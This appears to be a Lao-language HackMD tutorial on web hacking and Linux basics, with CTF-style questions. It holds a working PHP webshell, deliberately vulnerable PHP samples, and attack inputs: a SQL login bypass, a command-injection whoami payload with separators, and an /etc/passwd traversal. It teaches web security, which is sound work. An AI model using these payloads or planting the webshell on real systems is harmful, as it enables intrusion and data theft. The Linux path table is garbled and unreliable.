---
# System prepended metadata

title: HackMD Dark Theme
tags: [theme]

---

---
title: Theory for final project
tags: theme
description: Use `{%hackmd theme-dark %}` syntax to include this theme.
---

<style>

html, body, .ui-content {
    background-color: #333;
    color: #ddd;
}

.markdown-body h1,
.markdown-body h2,
.markdown-body h3,
.markdown-body h4,
.markdown-body h5,
.markdown-body h6 {
    color: #ddd;
}

.markdown-body h1,
.markdown-body h2 {
    border-bottom-color: #ffffff69;
}

.markdown-body h1 .octicon-link,
.markdown-body h2 .octicon-link,
.markdown-body h3 .octicon-link,
.markdown-body h4 .octicon-link,
.markdown-body h5 .octicon-link,
.markdown-body h6 .octicon-link {
    color: #fff;
}

.markdown-body img {
    background-color: transparent;
}

.ui-toc-dropdown .nav>.active:focus>a, .ui-toc-dropdown .nav>.active:hover>a, .ui-toc-dropdown .nav>.active>a {
    color: white;
    border-left: 2px solid white;
}

.expand-toggle:hover, 
.expand-toggle:focus, 
.back-to-top:hover, 
.back-to-top:focus, 
.go-to-bottom:hover, 
.go-to-bottom:focus {
    color: white;
}


.ui-toc-dropdown {
    background-color: #333;
}

.ui-toc-label.btn {
    background-color: #191919;
    color: white;
}

.ui-toc-dropdown .nav>li>a:focus, 
.ui-toc-dropdown .nav>li>a:hover {
    color: white;
    border-left: 1px solid white;
}

.markdown-body blockquote {
    color: #bcbcbc;
}

.markdown-body table tr {
    background-color: #5f5f5f;
}

.markdown-body table tr:nth-child(2n) {
    background-color: #4f4f4f;
}

.markdown-body code,
.markdown-body tt {
    color: #eee;
    background-color: rgba(230, 230, 230, 0.36);
}

a,
.open-files-container li.selected a {
    color: #5EB7E0;
}

</style>


# Web Fundamental for Hacking
ໃນປັດຈຸບັນຄົນທົ່ວໄປໄດ້ມີການໃຊ້ງານອິນເຕີເນັດ ຫຼື ເວັບໄຊ້ເປັນກິດຈະວັດປະຈຳວັນ, ທຸລະກິດກ່ຽວກັບເວັບໄຊ້ຕ່າງໆບໍວ່າຈະເປັນການໂຄສະນາຜ່ານເວັບໄຊ້ ຫຼື ການຂາຍອອນລາຍ(Ecommerce) ເອງກໍຕາມ ກໍເປັນຕະຫຼາດທີ່ເຕີບໃຫຍ່ຂຶ້ນທຸກປີ ແລະ ເພາະການເຕີບໃຫຍ່ຂອງການໃຊ້ອິນເຕີເນັດລວມໄປເຖິງການເຮັດທຸລະກຳອອນລາຍຕ່າງໆນີ້ເອງເລີຍເຮັດໃຫ້ hacker ສາມາດເຂົ້າມາມີບົດບາດໃນການຫາຜົນປະໂຫຍດຈາກຈຸດນີ້ໄດ້ເຊັ່ນກັນ.
## ຄວາມໝາຍຂອງ Web Application
ກ່ອນທີ່ຈະຮຽນຮູ້ການໂຈມຕີ ຫຼື ການປ້ອງກັນຕ່າງໆຂອງ Web Application ແນ່ນອນວ່າຕ້ອງເລີ່ມຈາກການຮຽນຮູູ້ຄວາມໝາຍຂອງ Web Application ກ່ອນ, Web Application ຄື webpage ທີ່ສາມາດໂຕ້ຕອບກັບ User ໄດ້ເຊັ່ນການຮັບຄ່າຈາກຜູ້ໃຊ້ແລ້ວນຳໄປປະມວນຜົນຜ່ານ Database ຫຼື ຄຳນວນບາງຢ່າງຢູ່ຫຼັງບ້ານ ຈາກນັ້ນສະແດງຜົນທີ່ໄດ້ອອກມາໃຫ້ User ອີກເທື່ອໜຶ່ງ
![image](https://hackmd.io/_uploads/rk6GpFVQC.png)

ໃນບາງກໍລະນີ admin ຫຼື developer ມັກຈະ comment ໃນສ່ວນຕ່າງໆຂອງ code ເອົາໄວ້ສຳຫຼັບເປັນເຄື່ອງມືເຕືອນຄວາມຈື່ຈຳຂອງໂຕເອງໃນການຂຽນ code ໃນສ່ວນຕ່າງໆວ່າຂຽນເພື່ອຫຍັງ ໃຊ້ງານແນວໃດ ຫຼື ບາງຄັ້ງອາດຈະ comment ຂໍ້ມູນທີ່ສຳຄັນຂອງລະບົບເອົາໄວ້ດ້ວຍ, ເຊິ່ງຫາກເປັນຂໍ້ມູນທີ່ສຳຄັນແລ້ວບໍ່ນຳອອກກ່ອນນຳລະບົບຂຶ້ນ production ການເຮັດແບບນີ້ກໍອາດຈະສົ່ງຜົນກະທົບທີ່ຮຸນແຮງໃຫ້ແກ່ລະບົບກໍເປັນໄດ້
### ເປົ້າໝາຍຂອງການໂຈມຕີຂອງ Hacker 
ການໂຈມຕີມີຫຼາຍຮູບແບບແຕ່ເປົ້າໝາຍການໂຈມຕີ ຫຼື ສິ່ງທີ່ໄດ້ຮັບຜົນກະທົບມີຢູ່ 2 ຊະນິດຄື:
1. Server
2. Client

## Webshell
Webshell ແມ່ນ web page ທີ່ໃຊ້ສຳຫຼັບສັ່ງການເຮັດວຽກໄລຍະໄກເຊິ່ງຖືກໃຊ້ໃນການຄວບຄຸມ Web Server ຜ່ານ function ຕ່າງໆ ບໍວ່າຈະເປັນ system(), exec() ແລະ ອື່ນໆ ໂດຍ webshell ຈະໃຊ້ສິດດຽວກັນກັບ default user ທີ່ web server ໄດ້ຕັ້ງໄວ້ເຊັ່ນ: www-data ດັ່ງນັ້ນເມື່ອ web server ໃຊ້ບໍລິການ user ທີ່ມີສິດສູງກໍຈະຍິ່ງເຮັດໃຫ້ web shell ສາມາດໃຊ້ງານຄຳສັ່ງໄດ້ຫຼາຍຂຶ້ນເທົ່ານັ້ນ
    ຕົວຢ່າງ Webshell ໃນພາສາ PHP:
```php=
<?php
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}
?>
```
ຈາກຕົວຢ່າງ webshell ດ້ານເທິງຖ້ານຳມາໃຊ້ຈະໄດ້ request ເປັນ:
```url=
http://<TARGET>/webshell.php?cmd=ls
```
### Question
default user ທີ່ web server ຕັ້ງຄ່າໃຫ້ໂດຍທົ່ວໄປແມ່ນມີຊື່ວ່າແນວໃດ?
> Answer: www-data

## HTTP Protocol
ການເຮັດວຽກຂອງ HTTP ຈະແບ່ງອອກເປັນ 2 ສ່ວນຫຼັກໆຄື:
- HTTP Request
- HTTP Response
### HTTP Request
HTTP Request ເປັນສິ່ງທີ່ເຮົາສົ່ງໄປໃຫ້ Server ປາຍທາງ ເຊິ່ງປະກອບໄປດ້ວຍ:
- HTTP Header ຄືສ່ວນທີ່ກຳໜົດລັກສະນະຂອງ Request
- HTTP Body ຄືສ່ວນທີ່ເປັນເນື້ອຫາຂອງ Request ເຊິ່ງຈະຖືກໃຊ້ເມື່ອເຮົາສົ່ງຂໍ້ມູນໄປເວັບໄຊ້ທີ່ມີການຮັບຄ່າມາປະມວນຜົນ ໂດຍຈະມີ 2 ຄື: HTTP Header ແລະ HTTP Body ເຊິ່ງຂັ້ນດ້ວຍຍະຫວ່າງ(Space) 1 ແຖວ 
ຕົວຢ່າງ HTTP Request
```url=
GET /index.html HTTP/1.1
Host: www.example.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
```
### HTTP Response
ເມື່ອມີການສົ່ງ Request ໄປຫາ server ເມື່ອປະມວນຜົນສຳເລັດແລ້ວ Browser ຈະສົ່ງຜົນລັບກັບມາໃຫ້ເຮົາບໍວ່າຈະເປັນ text, image ຕ່າງໆ
ຕົວຢ່າງ HTTP Response
```url=
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 1234  (This number represents the size of the response body in bytes)
Connection: close
Date: Fri, 10 May 2024 09:12:34 GMT
Server: Apache/2.4.46 (Ubuntu)

<!DOCTYPE html>
<html>
<head>
  <title>Welcome to our website!</title>
</head>
<body>
  <h1>This is the content of index.html</h1>
</body>
</html>
```
### Question
ພາກສ່ວນ HTTP ທີ່ສົ່ງຂໍ້ມູນຈາກ Client ໄປຫາ Server ແມ່ນພາກສ່ວນໃດ
> Answer: HTTP Request

## HTTP Method
HTTP Method ແມ່ນ ສ່ວນປະກອບໜຶ່ງທີ່ສຳຄັນຂອງ HTTP Request ໂດຍປົກກະຕິແລ້ວຈະມີການພົວພັນກັນໃນ HTTP Protocol ຈະມີການໃຊ້ງານ HTTP Method ເປັນໂຕລະບຸວ່່າ User ນັ້ນຕ້ອງການເຮັດຫຍັງກັບ Request ນັ້ນໆ, ໂດຍຈະມີສ່ວນຕ່າງໆ ຫຼື Method ຕ່າງໆດັ່ງນີ້:
- GET ໃຊ້ເພື່ອຂໍອ່ານ file ຈາກ Web server
- HEAD ໃຊ້ເພື່ອຂໍອ່ານ HTTP Header
- POST ໃຊ້ເພື່ອສົ່ງຂໍໍ້ມູນໄປຫາເວັບໄຊ້ນັ້ນໆ
- PUT ໃຊ້ເພື່ອ Save/Upload File ໃນ Web Server 
- DELETE ໃຊ້ເພື່ອລົບ File ໃນ Web Server
- TRACE ໃຊ້ເພື່ອສະທ້ອນ Request ທີ່ສົ່ງໄປໃຫ້
- CONNECT ໃຊ້ເພື່ອເປັນໂຕກາງໃນການເຊື່ອມຕໍ່ກັນລະຫວ່າງ Client-Server 
- OPTIONS ໃຊ້ເພື່ອຂໍ List Method ທີ່ Support ໃນ Path ນັ້ນໆ
### Question
Method ໃດທີ່ໃຊ້ເພື່ອສົ່ງຂໍ້ມູນໄປຫາເວັບໄຊ້ເປົ້າໝາຍ 
> Answer: POST Method

## Robots.txt
ໂດຍປົກກະຕິແລ້ວເວັບໄຊ້ທີ່ໃຊ້ບໍລິການທາງດ້ານການຄົ້ນຫາຂໍ້ມູນ ຫຼື ເຮັດ indexer ຕ່າງໆເຊັ່ນ: google, yahoo, bing... ນັ້ນຈະມີການໃຊ້ງານ Bot ເພື່ອ spidering ໄປຕາມ link ຕ່າງໆໃນເວັບໄຊ້ທີ່ຢູ່ໃນໂລກ internet ເພື່ອເກັບຂໍ້ມູນ ແລະ ເນື້ອຫາຂອງເວັບໄຊ້ນັ້ນໆ ເຊິ່ງບາງຄັ້ງ bot ອາດຈະເຂົ້າໄປ link / path ທີ່ເວັບໄຊ້ບໍ່ຕ້ອງການເຊັ່ນ: backup file, file ທີ່ເກັບຂໍ້ມູນຂອງລະບົບເປັນຕົ້ນ ໂດຍຈຸດປະສົງຂອງ robots.txt ແມ່ນເພື່ອກັນ ຫຼື ບໍ່ອະນຸຍາດໃຫ້ bot ເຂົ້າເຖິງ path ທີ່ປະກາດໄວ້
ຕົວຢ່າງ robots.txt
```
User-agent: *
Disallow: /tmp/
Disallow: /~/
Disallow: /cgi-bin/
```
ໂດຍຕຳແໜ່ງຂອງ robots.txt ແມ່ນຈະຢູ່ path root directory ຕົວຢ່າງ: http://target.com/robots.txt


## SQL Injection

- ການໂຈຕີແບບ SQL Injection ແມ່ນການໂຈມຕີຮູບແບບໜຶ່ງທີ່ໃຊ້ຊ່ອງໂຫວ່ຂອງ Database ໃນການດຶງຂໍ້ມູນອອກມາໂດຍບໍ່ພຶ່ງປະສົງຂອງເຈົ້າຂອງລະບົບໃດໜຶ່ງ
- ການໂຈມຕີຮູບແບບ SQL Injection ປະກອບດ້ວຍການໃສ່ SQL Query ຜ່ານຊ່ອງທາງ Input ຕ່າງໆ, ຫາກການໂຈມຕີສຳເລັດກໍຈະເຮັດໃຫ້ Hacker ສາມາດອ່ານຂໍ້ມູນ(Select), ເພີ່ມຂໍ້ມູນ(Update) ແກ້ໄຂຂໍ້ມູນ(Insert), ລົບຂໍ້ມູນ(Delete) ທີ່ສຳຄັນບໍວ່າຈະເປັນ user, password, personal information ຕ່າງໆທີ່ຖືກເກັບໄວ້ໃນ Database ໄດ້, ຫຼື ຮ້າຍແຮງໄປກວ່ານັ້ນຍັງສາມາດສັ່ງຄຳສັ່ງຜ່ານສິດ Administrator ໃນ Database ໄດ້ເຊັ່ນ: ການສັ່ງ Shutdown database ເປັນຕົ້ນ

ຕົວຢ່າງ php code ທີ່ມີຊ່ອງໂຫວ່ໂດຍຈະກວດສອບການ login ດ້ວຍ user 
```php 
<?php


$conn = mysqli_connect("db", "myuser", "mypassword", "sqli"); 
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}

$user=$_POST["username"];
$pass=$_POST["password"];
$query = mysqli_query($conn, "Select * from users where username='$user' and password='$pass';");
$row =  mysqli_fetch_array($query);
if(mysqli_num_rows($query)){
	echo "<h1><center>Bingo!!! You are logged in!</center></h1>";

$users_data = mysqli_query($conn, "select * from users;");
echo "<table border='1'><thead><td>username</td><Td>password</td></thead>";
while($row = mysqli_fetch_array($users_data)) {
    echo "<tr><td>".$row["username"]."</td><td>".$row["password"]."</td></tr>";
}
    
}
else{
	echo "<strong style='color:red;'>Invalid Credentials.</strong><br><br>";
}

?>
```
ຈາກຕົວຢ່າງ code ຂ້າງເທິງ, ຈະໄດ້ query ເປັນ
```sql 
SELECT * FROM users WHERE username='$user' and password='$pass';
```
ເຊິ່ງຈະເຫັນວ່າຖ້າຫາກເຮົາແທນຄ່າໃນ $user ເປັນ admin ແລະ password ເປັນ RANDOM' or '1'='1 ຈະໄດ້ query ອອກມາເປັນ
```sql
SELECT * FROM users WHERE username= 'admin' and password = 'RANDOM' or '1'='1;
```
ເຊິ່ງນັ້ນໝາຍຄວາມວ່າຖ້າຫາກເຮົານຳເອົາຄ່າ `admin` ໄປປ້ອນໃນ parameter username ແລະ `'RANDOM' or '1'='1` ໄປປ້ອນໃນ parameter password ຈະເຮັດໃຫ້ເຮົາສາມາດ bypass login ຫຼື ກໍຄືສາມາດເຂົ້າສູ່ລະບົບໄດ້ໂດຍບໍ່ຕ້ອງຮູ້ລະຫັດຂອງ user ນັ້ນໆໄດ້ເລີຍນັ້ນເອງ.
ໜຶ່ງໃນເຫດຜົນທີ່ເຮັດໃຫ້ query ອອກມາເປັນແບບນີ້ແລ້ວສາມາດໃຊ້ໂຈມຕີຊ່ອງໂຫວ່ SQL Injection ໄດ້ຍ້ອນວ່າເບື້ອງການປະມວນຜົນຂອງ Database ແມ່ນຈະອີງຕາມ logic gate ຫຼື ກໍຄືຖ້າຄ່າເປັນ 1 ຈະໝາຍເຖິງ True, 0 ຈະໝາຍເຖິງ False ນັ້ນເອງ


### Question
 - ຈົ່ງໃຊ້ຊ່ອງໂຫວ່ SQL Injection ໃນການ bypass login ເປັນ admin ແລ້ວນຳ flag ທີ່ໄດ້ມາຕອບ



## Command Injection
Command Injection ເປັນໜຶ່ງໃນຊ່ອງໂຫວ່ທີ່ແຜ່ຫຼາຍ ແລະ ຍັງສາມາດພົບເຫັນໄດ້ໃນປັດຈຸບັນ, ເປັນຊ່ອງໂຫວ່ທີ່ເຮັດໃຫ້ສາມາດ Inject OS Command ເຂົ້າໄປໃນ User Input ເພື່ອບັງຄັບໃຫ້ພາກສ່ວນຫຼັງບ້ານຂອງລະບົບສັ່ງ Run command ຕາມທີ່ Hacker ຕ້ອງການໄດ້
- ຕົວຢ່າງ Source Code ລະບົບ ping ທີ່ມີຊ່ອງໂຫວ່ Command Injection
```php=
<?php
if (isset($_GET["ip"]))
{
    $target=$_GET["ip"];
    exec("/bin/ping -c 3 ".$target,$pingresult, $stats);
    foreach($pingresult as $line)
    {
        print $line.'<br>';
    }
}
?>
```
ຈາກ Source Code ດ້ານເທິງຈະເຫັນວ່າ exec() ນັ້ນມີການຮັບ Input ມາເປັນໂຕປ່ຽນ ip cລ້ວນຳໄປເຮັດວຽກໃນ exec() ເຊິ່ງຈະເຫັນໄດ້ວ່າການເຮັດວຽກຂອງ Source Code ຮັບ Input ມາເຮັດວຽກໂດຍຕົງເລີຍ ບໍ່ໄດ້ຜ່ານການກວດສອບວ່າ Input ທີ່ໄດ້ຮັບມານັ້ນເປັນ code ອັນຕະຫຼາຍຕໍ່ລະບົບ ຫຼື ບໍ

ໂດຍໃນນີ້ເຮົາສາມາດ exploit ໂດຍການໃສ່ input ເປັນ 127.0.0.1 ແລະ ໃຊ້ງານ seperator ເຊິ່ງເປັນໂຕຂັ້ນກາງພ້ອມກັບແນບ OS Command ເຊັ່ນ whoami ເຂົ້າໄປໄດ້
```url=
http://target_ip/test.php?ip=127.0.0.1|whoami
```
ເມື່ອ Web Application ໄດ້ຮັບຄ່າໂຕປ່ຽນມາກໍຈະໄປເຮັດວຽກຄຳສັ່ງ whoami ພ້ອມທັງນຳຜົນລັບມາສະແດງຜົນໃຫ້ເຮົາ
- Seperator ທີ່ສາມາດນຳມາໃຊ້ໄດ້

> ;
> &
> &&
> |
> ||
> ()
> #

### Question:
ຈົ່ງໃຊ້ຊ່ອງໂຫວ່ Command Injection ໃນການອ່ານ local file ທີ່ມີຊື່ວ່າ flag.txt ໃນ path /var/www/html ຈາກ website ເປົ້າໝາຍ


## Local File Inclusion
Local File Inclusion ຫຼື LFI ເປັນໜຶ່ງໃນຊ່ອງໂຫວ່ທີ່ເຮັດໃຫ້ Hacker ສາມາດເຂົ້າເຖິງ local file ພາຍໃນເຄື່ອງເປົ້າໝາຍໄດ້ຜ່ານ User Input ໂດຍເກີດຈາກການທີ່ Web Application ມີການອ້າງອີງໄປຍັງໜ້າ page ຕ່າງໆຜ່ານຊື່ file ເຊັ່ນ
```url=
http://target_ip/page/sub-page/index.php?page=home.php
```
ຕົວຢ່າງ Source Code ສ່ວນທີ່ມີຊ່ອງໂຫວ່
```php=
<?php
    $page = $_GET['path'];
    include $page;
?>
```
ຈະເຫັນວ່າລະບົບຈະຮັບຄ່າຈາກໂຕປ່ຽນ page ມາສະແດງຜົນຜ່ານການໃຊ້ງານຂອງຄຳສັ່ງ `include()` ໂດຍບໍ່ມີການປ້ອງການ ຫຼື escape `$_GET["page"]` ເລີຍ, ດັ່ງນັ້ນເລີຍເຮັດໃຫ້ Hacker ສາມາດປ້ອນ Input ເພື່ອໄປເອີ້ນ file ອື່ນນອກເໜືອຈາກທີ່ຜູ້ດູແລລະບົບຕ້ອງການໄດ້ໂດຍປ່ຽນຈາກ `page=home.php` ໄປເປັນ `page=../../../../etc/passwd` ແທນ, `../` ນັ້ນໝາຍຄວາມວ່າ path ກ່ອນໜ້ານີ້ໃນ OS Command, ດັ່ງນັ້ນເມື່ອໃຊ້ `../` ເຂົ້າໄປຈະເປັນການຍ້ອນກັບໄປ path ກ່ອນໜ້ານີ້ 1 path, ສາມາດໃຊ້ເພື່ອຍ້ອນກັບໄປເລື້ອຍໆຈົນກວ່າຈະໄດ້ path ທີ່ຢູ່ຫຼັງສຸດ ຫຼື ກໍຄື `/` ທີ່ເປັນ directory root ຂອງເຄື່ອງເປົ້າໝາຍນັ້ນເອງ.

### Question:
ຈົ່ງໃຊ້ຊ່ອງໂຫວ່ Local File Inclusion ໃນການອ່ານເນື້ອຫາຂອງ flag.txt ທີ່ຢູ່ໃນ path /var/www/html/flag.txt ແລ້ວນຳເນື້ອຫາທີ່ໄດ້ມາ submit


## Directory Listing
ໂດຍປົກກະຕິເວັບໄຊ້ຈະຖືກກຳໜົດໄວ້ວ່າເມື່ອເຂົ້າໄປໃນ path ຕ່າງໆຈະໃຫ້ run ໄຟລ໌ນັ້ນໆໂດຍ default ເຊັ່ນ: configuration ຂອງ nginx
```txt=
server{
    listen 80 default server;
    root /var/www/html/
    index index.php index.html index.htm index.nginx-debain.html
    
    server_name;
    
    location / {
    try files $uri $uri/ = 404;
    }
}
```
ດັ່ງນັ້ນເມື່ອເຮົາເຂົ້າໄປທີ່ path www.example.com web server ຈະໄປຄົ້ນຫາໄຟລ໌ index.php, index.html, index.htm, index.nginx-debain.html ຕາມລຳດັບ ຈຶ່ງຖືໄດ້ວ່າເປັນການເອີ້ນ request ໄປຍັງປາຍທາງເປັນ
```url=
http://www.example.com/index.php
```
ໂດຍອັດຕະໂນມັດນັ້ນເອງ ແຕ່ໃນລັກສະນະທີ່ເຮົາເຂົ້າໄປໃນ path ນັ້ນໆແລ້ວຈະເປັນການ list ໄຟລ໌ອອກມາ ໂດຍເຮົາຈະເອີ້ນວ່າ Directory Listing ນັ້ນເອງ, ເຊິ່ງການ configuration ເຮົາສາມາດເຮັດໄດ້ໃນທຸກ web server ເຊັ່ນ:
nginx ຈະກຳໜົດດັ່ງນີ້:
```txt=
location /path {
autoindex on;
}
```
apache ຈະກຳໜົດດັ່ງນີ້:
```txt=
Alias /icons/ "/var/www/icons/"
<Directory "/var/www/icons">
    Options Indexes MultiViews
    AllowOverride None
    Require all granted
</Directory>
```
ຖ້າ configure ບໍວ່າຈະເປັນ web server ໃດກໍຕາມຜົນລັບທີ່ໄດ້ຈະເປັນດັ່ງນີ້:
![image](https://hackmd.io/_uploads/HyLkBY4mA.png)

ໂດຍການໃຊ້ງານແບບນີ້ມັກຈະຖືກໃຊ້ໃນລະບົບທີ່ບໍ່ມີການຄົ້ນຫາ ແລະ ເປັນລະບົບເວັບໄຊ້ເກົ່າທີ່ບໍ່ມີການສະແດງຜົນການເກັບຂໍ້ມູນທີ່ດີພໍ, ເຊິ່ງແນ່ນອນວ່າຂໍ້ດີຄືຜູ້ພັດທະນາສາມາດເອົາຂໍ້ມູນມາໃສ່ເຂົ້າໃນເວັບໄຊ້ກໍພ້ອມໃຊ້ງານໄດ້ເລີຍ ສາມາດເຂົ້າເຖິງຂໍ້ມູນຕ່າງໆໄດ້ທັນທີ, ແຕ່ຂໍ້ເສຍຄືຂໍ້ມູນສ່ວນໃດທີ່ເປັນຄວາມກໍຈະຖືກນຳຂຶ້ນໄປນຳ ເຊິ່ງອາດຈະເຮັດໃຫ້ຂໍ້ມູນນັ້ນຫຼຸດອອກໄປໄດ້ຢ່າງງ່າຍດາຍ, ຕົວຢ່າງໄຟລ໌ທີ່ມັກຫຼຸດອອກໄປດ້ວຍວິທີນີ້ສ່ວນໃຫຍ່ຈະເປັນ backup database file ເຊັ່ນ .sql , index.php.oldversion , index.php.backup ເປັນຕົ້ນ.

### Question
ວິທີການ list ໄຟລ໌ອອກມາຈາກລະບົບມີຊື່ເອີ້ນວ່າແນວໃດ?
> Answer: Directory Listing

## JWT
- https://medium.com/cyberustech/jwt-json-web-token-%E0%BB%83%E0%BA%99%E0%BA%A1%E0%BA%B8%E0%BA%A1%E0%BA%A1%E0%BA%AD%E0%BA%87%E0%BA%82%E0%BA%AD%E0%BA%87%E0%BA%99%E0%BA%B1%E0%BA%81%E0%BA%97%E0%BA%BB%E0%BA%94%E0%BA%AA%E0%BA%AD%E0%BA%9A%E0%BA%A5%E0%BA%B0%E0%BA%9A%E0%BA%BB%E0%BA%9A-d36d5a01df36

# Linux Fundamental
Linux ແມ່ນ Operating System(OS) ຊະນິດໜຶ່ງທີ່ຄ້າຍຄືກັບ Windows, MacOS ໂດຍ Linux ຖືກພັດທະນາຕໍ່ມາຈາກ Unix ເຊິ່ງ Linux ມີທັງແບບ 32 Bit, 64 Bit ບໍ່ແຕກຕ່າງຈາກລະບົບປະຕິບັດການອື່ນ, ສາມາດນຳມາໃຊ້ງານໄດ້ທັ້ງແບບ Workstation(PC) ແລະ Server ມີການເຮັດວຽກທີ່ຄືກັບ OS ອື່ນໆ ຫຼື ເວົ້າໄດ້ວ່າເຮັດວຽກໄດ້ທັງແບບ Multi-tasking ແລະ Multi-user ເຊິ່ງ Linux ນັ້ນມີທັງເປັນໜ້າ Graphical User Interface(GUI) ໃນການໂຕ້ຕອບຂອງ User ອີກດ້ວຍ

Linux ເປັນການພັດທະນາແບບ Open Source ທີ່ Source Code ມີການເປີດເຜີຍທົ່ວໂລກໃຫ້ທຸກຄົນສາມາດເຂົ້າເຖິງ ແລະ ຊ່ວຍກັນພັດທະນາໄດ້ ຫຼື ສາມາດນຳໄປສ້າງເປັນ OS ໃໝ່ໄດ້ເຊັ່ນກັນ, ອີກທັ້ງ Linux ນັ້ນຍັງຢູ່ພາຍໃຕ້ສັນຍາເງື່ອນໄຂ GPL(GNU General Public License) ເຊິ່ງໝາຍເຖິງສາມາດປ່ຽນແປງແກ້ໄຂພັດທະນາ OS ໄດ້ ແລະ ແຈກຈ່າຍໃຫ້ໃຊ້ໄດ້ຟີອີກດ້ວຍ ຈົນເຮັດໃຫ້ມີ Distribution ແຕກແຍກອອກມາເຊັ່ນ: Ubuntu, Redhat, CentOS ເປັນຕົ້ນ.

Linux ມີຄວາມ compatible ກັບ ມາດຕະຖານ POSIX ເຊິ່ງເປັນມາດຕະຖານ Interface ທີ່ລະບົບ Unix ສ່ວນໃຫຍ່ຈະຕ້ອງມີ ແລະ ມີຮູບແບບບາງສ່ວນທີ່ຄ້າຍກັບລະບົບປະຕິບັດການ Unix ຈາກຄ່າຍ Berkeley ແລະ System V ແຕ່ແທ້ຈິງແລ້ວ Linux ທີ່ເຮົາໃຊ້ກັນຢູ່ປັດຈຸບັນຄື kernel ຂອງລະບົບປະຕິບັດການ ເຊິ່ງຈະເຮັດໃຫ້ໜ້າທີ່ໃນດ້ານຂອງການຈັດສັນ ແລະ ບໍລິຫານຈັດການໄຟລ໌ ແລະ ອຸປະກອນ I/O ຕ່າງໆແຕ່ຜູ້ໃຊ້ງານທົ່ວໆໄປຈະຮູ້ຈັກ Linux ຜ່ານ Application.

## ປະຫວັດ Linux 
ລະບົບປະຕິບັດການ Linux ຖືກຳເນີດຂຶ້ນໃນປະເທດຟິນແລນປີ 1991 ໂດຍທ່ານ Linus Benedict Torvalds ນັກສຶກສາພາກວິຊາວິທະຍາສາດຄອມພິວເຕີ (Computer Science) ໃນວິທະຍາໄລ Helsinki ໂດຍໄດ້ພັດທະນາມາຈາກລະບົບປະຕິບັດການ Minix ເຊິ່ງເປັນລະບົບ Unix ໃນ PC ໃນຂະນະນັ້ນ, ໂດຍຕອນທຳອິດເປັນພຽງໂຄງການທີ່ເຮັດເພື່ອສົ່ງອາຈານສະໃໝຮຽນປະລິນຍາຕີເທົ່ານັ້ນ ແຕ່ຕໍ່ມາກໍໄດ້ມີການພັດທະນາຕໍ່ໂດຍ Linus ກໍໄດ້ທຳການຊັກຊວນໃຫ້ນັກພັດທະນາໂປຣແກຣມອື່ນໆມາຊ່ວຍໃນການພັດທະນາ Linux ເຊິ່ງຄວາມຮ່ວມມືສ່ວນໃຫຍ່ກໍຈະເປັນຄວາມຮ່ວມມືຜ່ານທາງເຄືອຄ່າຍ Internet ໂດຍ Linus ຈະເປັນຄົນຮວບຮວມໂປຣແກຣມທີ່ຜູ້ພັດທະນາຕ່າງໆ ໄດ້ຮ່ວມກັນພັດທະນາຂຶ້ນມາ ແລະ ແຈກຈ່າຍໃຫ້ທົດລອງໃຊ້ເພື່ອທົດສອບຫາຂໍ້ບົກພ່ອງ(Bug) ແລະ ເຮັດວຽກຜ່ານ Internet ທັງໝົດ.

Linux ມີລັກສະນະເປັນຮູບ Penguin ຊື່ວ່າ Tux

## Linux Structure
ລະບົບປະຕິບັດການ Linux ເປັນລະບົບທີ່ມີໂຄງຮ່າງ Directroy ເປັນຮູບແບບຕົ້ນໄມ້ (tree-like hierarchy) 
![image](https://hackmd.io/_uploads/S1PJFRKQR.png)

| Path    | Description |
| -------- | ------- |
| /  | $250    |
| /bin | $80     |
| /boot    | $420    |
| /dev    |    |
| /etc    |    |
| /home    |    |
| /lib    |    |
| /


# Tools for Hacking
## VIM
Vim ຫຼື ຊື່ເຕັມແມ່ນ Vi IMproved ແມ່ນເຄື່ອງມື ຫຼື ໂປຣແກຣມແກ້ໄຂຂໍ້ຄວາມ (Text Editor) ຍອດຮິດໂຕໜຶ່ງທີ່ພັດທະນາຕໍ່ມາຈາກ Vi ທີ່ມີຢູ່ແລ້ວ ໃຫ້ມີຄວາມສາມາດທີ່ຫຼາກຫຼາຍຂຶ້ນ ແລະ ປັບແຕ່ງ(Custom)ເອງໄດ້ແລ້ວເຊັ່ນ: ສາມາດປັບສີ syntax ໃຫ້ກັບ code, ສາມາດສະແດງເລກແຖວ,​ ປັບຂະໜາດ tab ວ່າຈະໃຫ້ຫຍັບໄປຈັກໂຕອັກສອນ…, ແລະ ຍັງສາມາດເຮັດວຽກໄດ້ໃນຫຼາຍລະບົບປະຕິບັດການບໍວ່າຈະເປັນ Windows, MacOS, Linux…

Vim ເປັນເຄື່ອງມືທີ່ຄ້ອນຂ້າງທີ່ຈະຮຽນຮູ້ວິທີໃຊ້ງານໄດ້ຍາກສຳຫຼັບມືໃໝ່ ແຕ່ກໍໄດ້ຮັບຄວາມນິຍົມ ແລະ ແຜ່ຫຼາຍໃນໝູ່ Programmer, Developer, Hacker… ເພາະມັນຖືກອອກແບບມາໃຫ້ສາມາດແກ້ໄຂເນື້ອຫາຂອງໄຟລ໌ໄດ້ຜ່ານ Command Line ຖ້າໃຫ້ນຶກພາບອອກງ່າຍໆຄືສາມາດໃຊ້ແກ້ໄຂເນື້ອຫາຂອງໄຟລ໌ໃນ Server ທີ່ເປັນ Command Line Interface ລ້ວນ ໄດ້ເຊັ່ນ: Ubuntu Server ໂດຍບໍ່ຈຳເປັນຕ້ອງໃຊ້ Mouse ຄືແກ້ໄຂໃນ Windows ທີ່ເປັນແບບ Graphic User Interface ທີ່ເຮົາທຸກຄົນຄຸ້ນເຄີຍ.

    ເຊິ່ງໃນບົດຮຽນບົດນີ້ຈະອ້າງອີງ ແລະ ສາທິດການໃຊ້ງານຜ່ານ Linux(Ubuntu) ເປັນຫຼັກ.
    
### ວິທີຕິດຕັ້ງ (Installation)

ປົກກະຕິ Vim ຈະຖືກຕິດຕັ້ງມາໂດຍ default ໃຫ້ກັບ OS ຕະກູນ Linux ບາງໂຕເຊັ່ນ: Kali-Linux, ເຊິ່ງສາມາດກວດສອບໄດ້ວ່າໃນເຄື່ອງມີ Vim ແລ້ວ ຫຼື ບໍ ໄດ້ໂດຍການໃຊ້ຄຳສັ່ງ:

`which vim`

